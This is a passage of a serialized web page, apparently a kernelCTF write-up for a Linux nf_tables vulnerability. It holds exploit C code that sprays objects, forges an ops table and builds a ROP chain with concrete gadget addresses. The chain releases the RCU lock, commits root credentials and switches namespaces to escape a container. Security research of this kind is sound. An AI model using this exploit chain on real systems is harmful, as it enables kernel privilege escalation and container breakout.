\"spray-1\");\n[...]\n",[55834],{"type":24,"tag":32,"props":55835,"children":55836},{"__ignoreMap":7},[55837,55844,55852,55876,55923,55959,55966,55974,56006,56014,56022,56043,56051,56059,56123,56130,56138,56146,56153,56161,56195,56203,56210,56218,56225,56233,56266,56287],{"type":24,"tag":83,"props":55838,"children":55839},{"class":85,"line":86},[55840],{"type":24,"tag":83,"props":55841,"children":55842},{"style":107},[55843],{"type":29,"value":10065},{"type":24,"tag":83,"props":55845,"children":55846},{"class":85,"line":113},[55847],{"type":24,"tag":83,"props":55848,"children":55849},{"style":107},[55850],{"type":29,"value":55851},"    // Fake ops\n",{"type":24,"tag":83,"props":55853,"children":55854},{"class":85,"line":128},[55855,55860,55864,55868,55872],{"type":24,"tag":83,"props":55856,"children":55857},{"style":107},[55858],{"type":29,"value":55859},"    uint64_t *rop = calloc(29, ",{"type":24,"tag":83,"props":55861,"children":55862},{"style":3163},[55863],{"type":29,"value":55041},{"type":24,"tag":83,"props":55865,"children":55866},{"style":107},[55867],{"type":29,"value":558},{"type":24,"tag":83,"props":55869,"children":55870},{"style":90},[55871],{"type":29,"value":55348},{"type":24,"tag":83,"props":55873,"children":55874},{"style":107},[55875],{"type":29,"value":6970},{"type":24,"tag":83,"props":55877,"children":55878},{"class":85,"line":183},[55879,55884,55888,55892,55896,55900,55905,55909,55914,55918],{"type":24,"tag":83,"props":55880,"children":55881},{"style":137},[55882],{"type":29,"value":55883},"    rop",{"type":24,"tag":83,"props":55885,"children":55886},{"style":107},[55887],{"type":29,"value":1161},{"type":24,"tag":83,"props":55889,"children":55890},{"style":245},[55891],{"type":29,"value":1166},{"type":24,"tag":83,"props":55893,"children":55894},{"style":107},[55895],{"type":29,"value":1270},{"type":24,"tag":83,"props":55897,"children":55898},{"style":143},[55899],{"type":29,"value":1275},{"type":24,"tag":83,"props":55901,"children":55902},{"style":107},[55903],{"type":29,"value":55904}," kaslr_slide ",{"type":24,"tag":83,"props":55906,"children":55907},{"style":143},[55908],{"type":29,"value":4126},{"type":24,"tag":83,"props":55910,"children":55911},{"style":245},[55912],{"type":29,"value":55913}," 0xffffffff81988647",{"type":24,"tag":83,"props":55915,"children":55916},{"style":107},[55917],{"type":29,"value":48790},{"type":24,"tag":83,"props":55919,"children":55920},{"style":2735},[55921],{"type":29,"value":55922}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":24,"tag":83,"props":55924,"children":55925},{"class":85,"line":203},[55926,55930,55934,55938,55942,55946,55950,55954],{"type":24,"tag":83,"props":55927,"children":55928},{"style":137},[55929],{"type":29,"value":55883},{"type":24,"tag":83,"props":55931,"children":55932},{"style":107},[55933],{"type":29,"value":1161},{"type":24,"tag":83,"props":55935,"children":55936},{"style":245},[55937],{"type":29,"value":2867},{"type":24,"tag":83,"props":55939,"children":55940},{"style":107},[55941],{"type":29,"value":1270},{"type":24,"tag":83,"props":55943,"children":55944},{"style":143},[55945],{"type":29,"value":1275},{"type":24,"tag":83,"props":55947,"children":55948},{"style":107},[55949],{"type":29,"value":55904},{"type":24,"tag":83,"props":55951,"children":55952},{"style":143},[55953],{"type":29,"value":4126},{"type":24,"tag":83,"props":55955,"children":55956},{"style":107},[55957],{"type":29,"value":55958}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":24,"tag":83,"props":55960,"children":55961},{"class":85,"line":212},[55962],{"type":24,"tag":83,"props":55963,"children":55964},{"style":107},[55965],{"type":29,"value":10065},{"type":24,"tag":83,"props":55967,"children":55968},{"class":85,"line":256},[55969],{"type":24,"tag":83,"props":55970,"children":55971},{"style":107},[55972],{"type":29,"value":55973},"    // Send ROP in object udata\n",{"type":24,"tag":83,"props":55975,"children":55976},{"class":85,"line":270},[55977,55982,55986,55991,55996,56001],{"type":24,"tag":83,"props":55978,"children":55979},{"style":107},[55980],{"type":29,"value":55981},"    del_obj(",{"type":24,"tag":83,"props":55983,"children":55984},{"style":3163},[55985],{"type":29,"value":54003},{"type":24,"tag":83,"props":55987,"children":55988},{"style":107},[55989],{"type":29,"value":55990},", \"",{"type":24,"tag":83,"props":55992,"children":55993},{"style":3163},[55994],{"type":29,"value":55995},"spray",{"type":24,"tag":83,"props":55997,"children":55998},{"style":107},[55999],{"type":29,"value":56000},"-0",{"type":24,"tag":83,"props":56002,"children":56003},{"style":187},[56004],{"type":29,"value":56005},"\");\n",{"type":24,"tag":83,"props":56007,"children":56008},{"class":85,"line":302},[56009],{"type":24,"tag":83,"props":56010,"children":56011},{"style":187},[56012],{"type":29,"value":56013},"    wait_destroyer();\n",{"type":24,"tag":83,"props":56015,"children":56016},{"class":85,"line":324},[56017],{"type":24,"tag":83,"props":56018,"children":56019},{"style":187},[56020],{"type":29,"value":56021},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":24,"tag":83,"props":56023,"children":56024},{"class":85,"line":345},[56025,56030,56034,56039],{"type":24,"tag":83,"props":56026,"children":56027},{"style":187},[56028],{"type":29,"value":56029},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":24,"tag":83,"props":56031,"children":56032},{"style":90},[56033],{"type":29,"value":55995},{"type":24,"tag":83,"props":56035,"children":56036},{"style":107},[56037],{"type":29,"value":56038},"-3",{"type":24,"tag":83,"props":56040,"children":56041},{"style":187},[56042],{"type":29,"value":56005},{"type":24,"tag":83,"props":56044,"children":56045},{"class":85,"line":358},[56046],{"type":24,"tag":83,"props":56047,"children":56048},{"style":187},[56049],{"type":29,"value":56050},"    DumpHex(fake_obj, 0xe8);\n",{"type":24,"tag":83,"props":56052,"children":56053},{"class":85,"line":367},[56054],{"type":24,"tag":83,"props":56055,"children":56056},{"style":187},[56057],{"type":29,"value":56058},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":24,"tag":83,"props":56060,"children":56061},{"class":85,"line":406},[56062,56067,56071,56075,56079,56084,56089,56094,56098,56103,56108,56113,56118],{"type":24,"tag":83,"props":56063,"children":56064},{"style":187},[56065],{"type":29,"value":56066},"    printf(\"",{"type":24,"tag":83,"props":56068,"children":56069},{"style":107},[56070],{"type":29,"value":1161},{"type":24,"tag":83,"props":56072,"children":56073},{"style":143},[56074],{"type":29,"value":4315},{"type":24,"tag":83,"props":56076,"children":56077},{"style":107},[56078],{"type":29,"value":1270},{"type":24,"tag":83,"props":56080,"children":56081},{"style":3163},[56082],{"type":29,"value":56083},"ROP",{"type":24,"tag":83,"props":56085,"children":56086},{"style":3163},[56087],{"type":29,"value":56088}," addr",{"type":24,"tag":83,"props":56090,"children":56091},{"style":107},[56092],{"type":29,"value":56093},": 0",{"type":24,"tag":83,"props":56095,"children":56096},{"style":3163},[56097],{"type":29,"value":19015},{"type":24,"tag":83,"props":56099,"children":56100},{"style":107},[56101],{"type":29,"value":56102},"%",{"type":24,"tag":83,"props":56104,"children":56105},{"style":3163},[56106],{"type":29,"value":56107},"lx",{"type":24,"tag":83,"props":56109,"children":56110},{"style":107},[56111],{"type":29,"value":56112},"\\",{"type":24,"tag":83,"props":56114,"children":56115},{"style":3163},[56116],{"type":29,"value":56117},"n",{"type":24,"tag":83,"props":56119,"children":56120},{"style":187},[56121],{"type":29,"value":56122},"\", rop_addr);\n",{"type":24,"tag":83,"props":56124,"children":56125},{"class":85,"line":427},[56126],{"type":24,"tag":83,"props":56127,"children":56128},{"emptyLinePlaceholder":16},[56129],{"type":29,"value":3422},{"type":24,"tag":83,"props":56131,"children":56132},{"class":85,"line":440},[56133],{"type":24,"tag":83,"props":56134,"children":56135},{"style":187},[56136],{"type":29,"value":56137},"    // Point to fake ops\n",{"type":24,"tag":83,"props":56139,"children":56140},{"class":85,"line":449},[56141],{"type":24,"tag":83,"props":56142,"children":56143},{"style":187},[56144],{"type":29,"value":56145},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":24,"tag":83,"props":56147,"children":56148},{"class":85,"line":458},[56149],{"type":24,"tag":83,"props":56150,"children":56151},{"style":187},[56152],{"type":29,"value":10065},{"type":24,"tag":83,"props":56154,"children":56155},{"class":85,"line":1065},[56156],{"type":24,"tag":83,"props":56157,"children":56158},{"style":187},[56159],{"type":29,"value":56160},"    // Write ROP\n",{"type":24,"tag":83,"props":56162,"children":56163},{"class":85,"line":1668},[56164,56169,56173,56177,56181,56186,56191],{"type":24,"tag":83,"props":56165,"children":56166},{"style":187},[56167],{"type":29,"value":56168},"    puts(\"",{"type":24,"tag":83,"props":56170,"children":56171},{"style":107},[56172],{"type":29,"value":1161},{"type":24,"tag":83,"props":56174,"children":56175},{"style":143},[56176],{"type":29,"value":4315},{"type":24,"tag":83,"props":56178,"children":56179},{"style":107},[56180],{"type":29,"value":1270},{"type":24,"tag":83,"props":56182,"children":56183},{"style":3163},[56184],{"type":29,"value":56185},"Write",{"type":24,"tag":83,"props":56187,"children":56188},{"style":3163},[56189],{"type":29,"value":56190}," ROP",{"type":24,"tag":83,"props":56192,"children":56193},{"style":187},[56194],{"type":29,"value":56005},{"type":24,"tag":83,"props":56196,"children":56197},{"class":85,"line":1713},[56198],{"type":24,"tag":83,"props":56199,"children":56200},{"style":187},[56201],{"type":29,"value":56202},"    deludata_spray(nl, 3, 1);\n",{"type":24,"tag":83,"props":56204,"children":56205},{"class":85,"line":1730},[56206],{"type":24,"tag":83,"props":56207,"children":56208},{"style":187},[56209],{"type":29,"value":56013},{"type":24,"tag":83,"props":56211,"children":56212},{"class":85,"line":1770},[56213],{"type":24,"tag":83,"props":56214,"children":56215},{"style":187},[56216],{"type":29,"value":56217},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":24,"tag":83,"props":56219,"children":56220},{"class":85,"line":1778},[56221],{"type":24,"tag":83,"props":56222,"children":56223},{"emptyLinePlaceholder":16},[56224],{"type":29,"value":3422},{"type":24,"tag":83,"props":56226,"children":56227},{"class":85,"line":1803},[56228],{"type":24,"tag":83,"props":56229,"children":56230},{"style":187},[56231],{"type":29,"value":56232},"    // Takeover RIP\n",{"type":24,"tag":83,"props":56234,"children":56235},{"class":85,"line":1811},[56236,56240,56244,56248,56252,56257,56262],{"type":24,"tag":83,"props":56237,"children":56238},{"style":187},[56239],{"type":29,"value":56168},{"type":24,"tag":83,"props":56241,"children":56242},{"style":107},[56243],{"type":29,"value":1161},{"type":24,"tag":83,"props":56245,"children":56246},{"style":143},[56247],{"type":29,"value":4315},{"type":24,"tag":83,"props":56249,"children":56250},{"style":107},[56251],{"type":29,"value":1270},{"type":24,"tag":83,"props":56253,"children":56254},{"style":3163},[56255],{"type":29,"value":56256},"Takeover",{"type":24,"tag":83,"props":56258,"children":56259},{"style":3163},[56260],{"type":29,"value":56261}," RIP",{"type":24,"tag":83,"props":56263,"children":56264},{"style":187},[56265],{"type":29,"value":56005},{"type":24,"tag":83,"props":56267,"children":56268},{"class":85,"line":8792},[56269,56274,56278,56283],{"type":24,"tag":83,"props":56270,"children":56271},{"style":187},[56272],{"type":29,"value":56273},"    dump_obj(nl, \"",{"type":24,"tag":83,"props":56275,"children":56276},{"style":90},[56277],{"type":29,"value":55995},{"type":24,"tag":83,"props":56279,"children":56280},{"style":107},[56281],{"type":29,"value":56282},"-1",{"type":24,"tag":83,"props":56284,"children":56285},{"style":187},[56286],{"type":29,"value":56005},{"type":24,"tag":83,"props":56288,"children":56289},{"class":85,"line":8810},[56290],{"type":24,"tag":83,"props":56291,"children":56292},{"style":187},[56293],{"type":29,"value":10065},{"type":24,"tag":1818,"props":56295,"children":56297},{"id":56296},"bypass-context-switch-in-rcu-critical-section",[56298],{"type":29,"value":56299},"Bypass context switch in RCU critical-section",{"type":24,"tag":25,"props":56301,"children":56302},{},[56303,56304,56309],{"type":29,"value":16348},{"type":24,"tag":32,"props":56305,"children":56307},{"className":56306},[],[56308],{"type":29,"value":54827},{"type":29,"value":56310}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":24,"tag":25,"props":56312,"children":56313},{},[56314,56316,56323,56325,56331,56333,56339],{"type":29,"value":56315},"A workaround has been discussed before by D3v17 in a ",{"type":24,"tag":2033,"props":56317,"children":56320},{"href":56318,"rel":56319},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[2037],[56321],{"type":29,"value":56322},"previous kernelCTF submission",{"type":29,"value":56324}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":24,"tag":32,"props":56326,"children":56328},{"className":56327},[],[56329],{"type":29,"value":56330},"task_struct",{"type":29,"value":56332}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":24,"tag":32,"props":56334,"children":56336},{"className":56335},[],[56337],{"type":29,"value":56338},"__rcu_read_unlock()",{"type":29,"value":56340}," function and exit the RCU critical-section before switching contexts.",{"type":24,"tag":73,"props":56342,"children":56344},{"className":28861,"code":56343,"language":28863,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[56345],{"type":24,"tag":32,"props":56346,"children":56347},{"__ignoreMap":7},[56348,56356,56380,56387],{"type":24,"tag":83,"props":56349,"children":56350},{"class":85,"line":86},[56351],{"type":24,"tag":83,"props":56352,"children":56353},{"style":2735},[56354],{"type":29,"value":56355},"    // ROP stage 1\n",{"type":24,"tag":83,"props":56357,"children":56358},{"class":85,"line":113},[56359,56363,56368,56372,56376],{"type":24,"tag":83,"props":56360,"children":56361},{"style":90},[56362],{"type":29,"value":18816},{"type":24,"tag":83,"props":56364,"children":56365},{"style":107},[56366],{"type":29,"value":56367}," pos ",{"type":24,"tag":83,"props":56369,"children":56370},{"style":143},[56371],{"type":29,"value":1275},{"type":24,"tag":83,"props":56373,"children":56374},{"style":245},[56375],{"type":29,"value":18838},{"type":24,"tag":83,"props":56377,"children":56378},{"style":107},[56379],{"type":29,"value":321},{"type":24,"tag":83,"props":56381,"children":56382},{"class":85,"line":128},[56383],{"type":24,"tag":83,"props":56384,"children":56385},{"emptyLinePlaceholder":16},[56386],{"type":29,"value":3422},{"type":24,"tag":83,"props":56388,"children":56389},{"class":85,"line":183},[56390,56394,56399,56403,56407,56411,56415,56419],{"type":24,"tag":83,"props":56391,"children":56392},{"style":137},[56393],{"type":29,"value":55883},{"type":24,"tag":83,"props":56395,"children":56396},{"style":107},[56397],{"type":29,"value":56398},"[pos",{"type":24,"tag":83,"props":56400,"children":56401},{"style":143},[56402],{"type":29,"value":50984},{"type":24,"tag":83,"props":56404,"children":56405},{"style":107},[56406],{"type":29,"value":1270},{"type":24,"tag":83,"props":56408,"children":56409},{"style":143},[56410],{"type":29,"value":1275},{"type":24,"tag":83,"props":56412,"children":56413},{"style":107},[56414],{"type":29,"value":55904},{"type":24,"tag":83,"props":56416,"children":56417},{"style":143},[56418],{"type":29,"value":4126},{"type":24,"tag":83,"props":56420,"children":56421},{"style":107},[56422],{"type":29,"value":56423}," __RCU_READ_UNLOCK;\n",{"type":24,"tag":1818,"props":56425,"children":56427},{"id":56426},"rop",[56428],{"type":29,"value":56083},{"type":24,"tag":25,"props":56430,"children":56431},{},[56432],{"type":29,"value":56433},"Most of the ROP chain to escape the container as root is business as usual:",{"type":24,"tag":16422,"props":56435,"children":56436},{},[56437,56448,56459],{"type":24,"tag":67,"props":56438,"children":56439},{},[56440,56446],{"type":24,"tag":32,"props":56441,"children":56443},{"className":56442},[],[56444],{"type":29,"value":56445},"commit_creds(&init_cred);",{"type":29,"value":56447}," Commit root credentials to our process",{"type":24,"tag":67,"props":56449,"children":56450},{},[56451,56457],{"type":24,"tag":32,"props":56452,"children":56454},{"className":56453},[],[56455],{"type":29,"value":56456},"task = find_task_by_vpid(1);",{"type":29,"value":56458}," Find the root process of our namespace",{"type":24,"tag":67,"props":56460,"children":56461},{},[56462,56468],{"type":24,"tag":32,"props":56463,"children":56465},{"className":56464},[],[56466],{"type":29,"value":56467},"switch_task_namespaces(task, &init_nsproxy);",{"type":29,"value":56469}," Move it to the root namespace",{"type":24,"tag":25,"props":56471,"children":56472},{},[56473,56475,56481,56483,56489,56491,56497,56499,56505,56507,56512,56514,56520],{"type":29,"value":56474},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":24,"tag":32,"props":56476,"children":56478},{"className":56477},[],[56479],{"type":29,"value":56480},"find_task_by_vpid(1)",{"type":29,"value":56482}," passed through ",{"type":24,"tag":32,"props":56484,"children":56486},{"className":56485},[],[56487],{"type":29,"value":56488},"rax",{"type":29,"value":56490}," to ",{"type":24,"tag":32,"props":56492,"children":56494},{"className":56493},[],[56495],{"type":29,"value":56496},"rdi",{"type":29,"value":56498},". What I ended up going with was a ",{"type":24,"tag":32,"props":56500,"children":56502},{"className":56501},[],[56503],{"type":29,"value":56504},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":29,"value":56506}," gadget, that allowed me to push the ",{"type":24,"tag":32,"props":56508,"children":56510},{"className":56509},[],[56511],{"type":29,"value":56488},{"type":29,"value":56513}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":24,"tag":32,"props":56515,"children":56517},{"className":56516},[],[56518],{"type":29,"value":56519},"pop rdi; ret",{"type":29,"value":56521}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":24,"tag":16422,"props":56523,"children":56524},{},[56525,56530,56543],{"type":24,"tag":67,"props":56526,"children":56527},{},[56528],{"type":29,"value":56529},"We push the value onto the stack (stack pointer regresses)",{"type":24,"tag":67,"props":56531,"children":56532},{},[56533,56535,56541],{"type":29,"value":56534},"We jump to our \"trampoline\" gadget (",{"type":24,"tag":32,"props":56536,"children":56538},{"className":56537},[],[56539],{"type":29,"value":56540},"pop rdi; ret;",{"type":29,"value":56542}," location)",{"type":24,"tag":67,"props":56544,"children":56545},{},[56546,56551],{"type":24,"tag":32,"props":56547,"children":56549},{"className":56548},[],[56550],{"type":29,"value":56519},{"type":29,"value":56552}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":24,"tag":73,"props":56554,"children":56556},{"className":28861,"code":56555,"language":28863,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[56557],{"type":24,"tag":32,"props":56558,"children":56559},{"__ignoreMap":7},[56560,56567,56584,56629,56665,56701,56708,56716,56759,56790,56826,56871,56926,56971,56978,56986,57029,57065,57101],{"type":24,"tag":83,"props":56561,"children":56562},{"class":85,"line":86},[56563],{"type":24,"tag":83,"props":56564,"children":56565},{"style":107},[56566],{"type":29,"value":10065},{"type":24,"tag":83,"props":56568,"children":56569},{"class":85,"line":113},[56570,56575,56580],{"type":24,"tag":83,"props":56571,"children":56572},{"style":107},[56573],{"type":29,"value":56574},"    // commit_creds(&",{"type":24,"tag":83,"props":56576,"children":56577},{"style":137},[56578],{"type":29,"value":56579},"init_cred",{"type":24,"tag":83,"props":56581,"children":56582},{"style":107},[56583],{"type":29,"value":581},{"type":24,"tag":83,"props":56585,"children":56586},{"class":85,"line":128},[56587,56591,56595,56599,56603,56607,56611,56615,56620,56624],{"type":24,"tag":83,"props":56588,"children":56589},{"style":137},[56590],{"type":29,"value":55883},{"type":24,"tag":83,"props":56592,"children":56593},{"style":107},[56594],{"type":29,"value":56398},{"type":24,"tag":83,"props":56596,"children":56597},{"style":143},[56598],{"type":29,"value":50984},{"type":24,"tag":83,"props":56600,"children":56601},{"style":107},[56602],{"type":29,"value":1270},{"type":24,"tag":83,"props":56604,"children":56605},{"style":143},[56606],{"type":29,"value":1275},{"type":24,"tag":83,"props":56608,"children":56609},{"style":107},[56610],{"type":29,"value":55904},{"type":24,"tag":83,"props":56612,"children":56613},{"style":143},[56614],{"type":29,"value":4126},{"type":24,"tag":83,"props":56616,"children":56617},{"style":245},[56618],{"type":29,"value":56619}," 0xffffffff8112c7c0",{"type":24,"tag":83,"props":56621,"children":56622},{"style":107},[56623],{"type":29,"value":48790},{"type":24,"tag":83,"props":56625,"children":56626},{"style":2735},[56627],{"type":29,"value":56628}," // pop rdi; ret;\n",{"type":24,"tag":83,"props":56630,"children":56631},{"class":85,"line":183},[56632,56636,56640,56644,56648,56652,56656,56660],{"type":24,"tag":83,"props":56633,"children":56634},{"style":137},[56635],{"type":29,"value":55883},{"type":24,"tag":83,"props":56637,"children":56638},{"style":107},[56639],{"type":29,"value":56398},{"type":24,"tag":83,"props":56641,"children":56642},{"style":143},[56643],{"type":29,"value":50984},{"type":24,"tag":83,"props":56645,"children":56646},{"style":107},[56647],{"type":29,"value":1270},{"type":24,"tag":83,"props":56649,"children":56650},{"style":143},[56651],{"type":29,"value":1275},{"type":24,"tag":83,"props":56653,"children":56654},{"style":107},[56655],{"type":29,"value":55904},{"type":24,"tag":83,"props":56657,"children":56658},{"style":143},[56659],{"type":29,"value":4126},{"type":24,"tag":83,"props":56661,"children":56662},{"style":107},[56663],{"type":29,"value":56664}," INIT_CRED;\n",{"type":24,"tag":83,"props":56666,"children":56667},{"class":85,"line":203},[56668,56672,56676,56680,56684,56688,56692,56696],{"type":24,"tag":83,"props":56669,"children":56670},{"style":137},[56671],{"type":29,"value":55883},{"type":24,"tag":83,"props":56673,"children":56674},{"style":107},[56675],{"type":29,"value":56398},{"type":24,"tag":83,"props":56677,"children":56678},{"style":143},[56679],{"type":29,"value":50984},{"type":24,"tag":83,"props":56681,"children":56682},{"style":107},[56683],{"type":29,"value":1270},{"type":24,"tag":83,"props":56685,"children":56686},{"style":143},[56687],{"type":29,"value":1275},{"type":24,"tag":83,"props":56689,"children":56690},{"style":107},[56691],{"type":29,"value":55904},{"type":24,"tag":83,"props":56693,"children":56694},{"style":143},[56695],{"type":29,"value":4126},{"type":24,"tag":83,"props":56697,"children":56698},{"style":107},[56699],{"type":29,"value":56700}," COMMIT_CREDS;\n",{"type":24,"tag":83,"props":56702,"children":56703},{"class":85,"line":212},[56704],{"type":24,"tag":83,"props":56705,"children":56706},{"emptyLinePlaceholder":16},[56707],{"type":29,"value":3422},{"type":24,"tag":83,"props":56709,"children":56710},{"class":85,"line":256},[56711],{"type":24,"tag":83,"props":56712,"children":56713},{"style":2735},[56714],{"type":29,"value":56715},"    // task = find_task_by_vpid(1);\n",{"type":24,"tag":83,"props":56717,"children":56718},{"class":85,"line":270},[56719,56723,56727,56731,56735,56739,56743,56747,56751,56755],{"type":24,"tag":83,"props":56720,"children":56721},{"style":137},[56722],{"type":29,"value":55883},{"type":24,"tag":83,"props":56724,"children":56725},{"style":107},[56726],{"type":29,"value":56398},{"type":24,"tag":83,"props":56728,"children":56729},{"style":143},[56730],{"type":29,"value":50984},{"type":24,"tag":83,"props":56732,"children":56733},{"style":107},[56734],{"type":29,"value":1270},{"type":24,"tag":83,"props":56736,"children":56737},{"style":143},[56738],{"type":29,"value":1275},{"type":24,"tag":83,"props":56740,"children":56741},{"style":107},[56742],{"type":29,"value":55904},{"type":24,"tag":83,"props":56744,"children":56745},{"style":143},[56746],{"type":29,"value":4126},{"type":24,"tag":83,"props":56748,"children":56749},{"style":245},[56750],{"type":29,"value":56619},{"type":24,"tag":83,"props":56752,"children":56753},{"style":107},[56754],{"type":29,"value":48790},{"type":24,"tag":83,"props":56756,"children":56757},{"style":2735},[56758],{"type":29,"value":56628},{"type":24,"tag":83,"props":56760,"children":56761},{"class":85,"line":302},[56762,56766,56770,56774,56778,56782,56786],{"type":24,"tag":83,"props":56763,"children":56764},{"style":137},[56765],{"type":29,"value":55883},{"type":24,"tag":83,"props":56767,"children":56768},{"style":107},[56769],{"type":29,"value":56398},{"type":24,"tag":83,"props":56771,"children":56772},{"style":143},[56773],{"type":29,"value":50984},{"type":24,"tag":83,"props":56775,"children":56776},{"style":107},[56777],{"type":29,"value":1270},{"type":24,"tag":83,"props":56779,"children":56780},{"style":143},[56781],{"type":29,"value":1275},{"type":24,"tag":83,"props":56783,"children":56784},{"style":245},[56785],{"type":29,"value":295},{"type":24,"tag":83,"props":56787,"children":56788},{"style":107},[56789],{"type":29,"value":321},{"type":24,"tag":83,"props":56791,"children":56792},{"class":85,"line":324},[56793,56797,56801,56805,56809,56813,56817,56821],{"type":24,"tag":83,"props":56794,"children":56795},{"style":137},[56796],{"type":29,"value":55883},{"type":24,"tag":83,"props":56798,"children":56799},{"style":107},[56800],{"type":29,"value":56398},{"type":24,"tag":83,"props":56802,"children":56803},{"style":143},[56804],{"type":29,"value":50984},{"type":24,"tag":83,"props":56806,"children":56807},{"style":107},[56808],{"type":29,"value":1270},{"type":24,"tag":83,"props":56810,"children":56811},{"style":143},[56812],{"type":29,"value":1275},{"type":24,"tag":83,"props":56814,"children":56815},{"style":107},[56816],{"type":29,"value":55904},{"type":24,"tag":83,"props":56818,"children":56819},{"style":143},[56820],{"type":29,"value":4126},{"type":24,"tag":83,"props":56822,"children":56823},{"style":107},[56824],{"type":29,"value":56825}," FIND_TASK_BY_VPID;\n",{"type":24,"tag":83,"props":56827,"children":56828},{"class":85,"line":345},[56829,56833,56837,56841,56845,56849,56853,56857,56862,56866],{"type":24,"tag":83,"props":56830,"children":56831},{"style":137},[56832],{"type":29,"value":55883},{"type":24,"tag":83,"props":56834,"children":56835},{"style":107},[56836],{"type":29,"value":56398},{"type":24,"tag":83,"props":56838,"children":56839},{"style":143},[56840],{"type":29,"value":50984},{"type":24,"tag":83,"props":56842,"children":56843},{"style":107},[56844],{"type":29,"value":1270},{"type":24,"tag":83,"props":56846,"children":56847},{"style":143},[56848],{"type":29,"value":1275},{"type":24,"tag":83,"props":56850,"children":56851},{"style":107},[56852],{"type":29,"value":55904},{"type":24,"tag":83,"props":56854,"children":56855},{"style":143},[56856],{"type":29,"value":4126},{"type":24,"tag":83,"props":56858,"children":56859},{"style":245},[56860],{"type":29,"value":56861}," 0xffffffff8102e2a6",{"type":24,"tag":83,"props":56863,"children":56864},{"style":107},[56865],{"type":29,"value":48790},{"type":24,"tag":83,"props":56867,"children":56868},{"style":2735},[56869],{"type":29,"value":56870}," // pop rsi; ret;\n",{"type":24,"tag":83,"props":56872,"children":56873},{"class":85,"line":358},[56874,56878,56882,56886,56890,56894,56899,56903,56908,56912,56917,56921],{"type":24,"tag":83,"props":56875,"children":56876},{"style":137},[56877],{"type":29,"value":55883},{"type":24,"tag":83,"props":56879,"children":56880},{"style":107},[56881],{"type":29,"value":56398},{"type":24,"tag":83,"props":56883,"children":56884},{"style":143},[56885],{"type":29,"value":50984},{"type":24,"tag":83,"props":56887,"children":56888},{"style":107},[56889],{"type":29,"value":1270},{"type":24,"tag":83,"props":56891,"children":56892},{"style":143},[56893],{"type":29,"value":1275},{"type":24,"tag":83,"props":56895,"children":56896},{"style":107},[56897],{"type":29,"value":56898}," obj_ptr ",{"type":24,"tag":83,"props":56900,"children":56901},{"style":143},[56902],{"type":29,"value":4126},{"type":24,"tag":83,"props":56904,"children":56905},{"style":245},[56906],{"type":29,"value":56907}," 0xe0",{"type":24,"tag":83,"props":56909,"children":56910},{"style":143},[56911],{"type":29,"value":50970},{"type":24,"tag":83,"props":56913,"children":56914},{"style":245},[56915],{"type":29,"value":56916}," 0x66",{"type":24,"tag":83,"props":56918,"children":56919},{"style":107},[56920],{"type":29,"value":48790},{"type":24,"tag":83,"props":56922,"children":56923},{"style":2735},[56924],{"type":29,"value":56925},"            // rax -> rdi and resume rop\n",{"type":24,"tag":83,"props":56927,"children":56928},{"class":85,"line":367},[56929,56933,56937,56941,56945,56949,56953,56957,56962,56966],{"type":24,"tag":83,"props":56930,"children":56931},{"style":137},[56932],{"type":29,"value":55883},{"type":24,"tag":83,"props":56934,"children":56935},{"style":107},[56936],{"type":29,"value":56398},{"type":24,"tag":83,"props":56938,"children":56939},{"style":143},[56940],{"type":29,"value":50984},{"type":24,"tag":83,"props":56942,"children":56943},{"style":107},[56944],{"type":29,"value":1270},{"type":24,"tag":83,"props":56946,"children":56947},{"style":143},[56948],{"type":29,"value":1275},{"type":24,"tag":83,"props":56950,"children":56951},{"style":107},[56952],{"type":29,"value":55904},{"type":24,"tag":83,"props":56954,"children":56955},{"style":143},[56956],{"type":29,"value":4126},{"type":24,"tag":83,"props":56958,"children":56959},{"style":245},[56960],{"type":29,"value":56961}," 0xffffffff81caed31",{"type":24,"tag":83,"props":56963,"children":56964},{"style":107},[56965],{"type":29,"value":48790},{"type":24,"tag":83,"props":56967,"children":56968},{"style":2735},[56969],{"type":29,"value":56970}," // push rax; jmp qword ptr [rsi + 